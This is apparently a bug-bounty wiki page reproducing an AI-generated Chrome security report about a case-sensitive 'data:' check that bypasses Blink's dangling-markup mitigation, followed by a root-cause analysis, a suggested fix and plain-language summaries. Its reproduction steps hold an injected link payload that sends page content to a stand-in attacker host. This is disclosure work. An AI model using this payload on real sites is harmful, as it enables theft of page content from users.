Improper input validation in Network (CVE-2026-79251)
A case-sensitive check for the lowercase 'data:' scheme in the URL canonicalizer caused an early return that skipped setting the potentially-dangling-markup flag. An attacker could use a lowercase data: URL with an unclosed attribute to bypass Blink's dangling markup mitigation and exfiltrate page content.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 3 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A logic error in the URL canonicalizer's whitespace handling allows 'data:' URLs to bypass dangling markup detection. This occurs because a case-sensitive prefix check causes an early return, skipping the security flag assignment required to block dangerous resource loads.
Affected files:
url/url_canon_etc.ccurl/url_util.ccthird_party/blink/renderer/core/html/html_link_element.cc
Estimated timestamp from git blame: 2017-08-21
Potential Vulnerability: Dangling Markup Mitigation Bypass for data: URLs
A logic error exists in the URL canonicalizer's whitespace removal function that leads to inconsistent behavior and a potential security bypass for data: URLs. Specifically, the function DoRemoveUrlWhitespace in url/url_canon_etc.cc contains a case-sensitive check for the data: scheme that improperly allows lowercase data: URLs to skip security flag assignment.
Root Cause Analysis
In url/url_canon_etc.cc, the following optimization exists to skip whitespace removal for data: URLs:
// url/url_canon_etc.cc line 72
if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' &&
input[2] == 't' && input[3] == 'a' && input[4] == ':') {
return input;
}
This check is implemented using a case-sensitive comparison. When a URL starts with lowercase data:, the function returns the input string immediately. However, if the scheme is provided in any other case (e.g., DATA:), the check fails, and the function proceeds to the main loop (starting at line 78):
for (const CHAR ch : input) {
if (!IsRemovableURLWhitespace(ch)) {
if (potentially_dangling_markup && ch == 0x3C) {
*potentially_dangling_markup = true;
}
buffer->push_back(ch);
}
}
This loop is responsible for setting the potentially_dangling_markup flag when a < character (0x3C) is encountered in a URL that contains removable whitespace (newlines, tabs, or carriage returns). By returning early for lowercase data:, the canonicalizer fails to set this security flag even if the URL contains dangerous markup characters.
Impact
- Dangling Markup Mitigation Bypass: Blink's
HTMLLinkElement::ShouldLoadLink(third_party/blink/renderer/core/html/html_link_element.cc:246) relies on thePotentiallyDanglingMarkup()flag to block loads that might be part of an exfiltration attack. An attacker can use a lowercasedata:prefix to ensure this flag is never set, bypassing the defense-in-depth mechanism that prevents data theft via unclosed attributes in injected tags. - Parser Differential: According to the WHATWG URL Standard, schemes are case-insensitive. Chrome's implementation creates a discrepancy where
data:text/html,a\nbpreserves the newline, whileDATA:text/html,a\nbstrips it. This can lead to bypasses of server-side security filters that use WHATWG-compliant parsers.
Potential Reproduction Steps
- Inject a
<link>element with an unclosedhrefattribute starting with lowercasedata::<link rel="stylesheet" href="data:text/css,body{background:url('https://attacker.com/log?">. - Note that the browser consumes the subsequent page content (including newlines and
<characters) into the attribute value. - Observe that
HTMLLinkElement::ShouldLoadLinkallows the load because thepotentially_dangling_markupflag was not set during URL resolution. - Compare this with the behavior when using
DATA:, which correctly triggers the mitigation and blocks the load.
Suggested Fix
Modify DoRemoveUrlWhitespace in url/url_canon_etc.cc to use a case-insensitive prefix check. Furthermore, ensure that even if whitespace removal is skipped for data: URLs, the input string is still scanned to set the potentially_dangling_markup flag if it contains markup characters and removable whitespace. This can be achieved by integrating the flag-setting logic into the early-return path or by standardizing whitespace removal for all schemes in compliance with the URL Standard.
Evaluated with Chrome root at commit: b3153093eb3c78c3e88ccf562bcbc20437a04b0e
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a case-sensitive prefix check for 'data:' in DoRemoveUrlWhitespace returns early, skipping the loop that sets the potentially_dangling_markup flag.
Impact
An attacker could bypass a defence-in-depth mitigation and exfiltrate page content through an unclosed attribute, and the case handling difference could also evade server-side filters that follow the URL standard.
What the attacker needed
Ability to inject markup into a page; victim loads the crafted page
The fix
The whitespace removal should use a case-insensitive prefix check and still scan the input to set the dangling markup flag even when the early return is taken.
How it was found
- Inject a link element with an unclosed href attribute beginning with lowercase data:.
- The browser pulls the following page content, including newlines and angle brackets, into the attribute value.
- The link load is allowed because the dangling markup flag was never set during URL resolution.
- Using uppercase DATA: instead correctly triggers the mitigation and blocks the load.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web page builds a link from text an attacker partly controls, the browser has a safety check that stops the link from swallowing the rest of the page and sending it to an attacker. That check is switched on by a flag, and here a shortcut for one kind of link (data: URLs) returned too early and never set the flag. So the safety check stayed off and the attacker's link could still leak page content.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.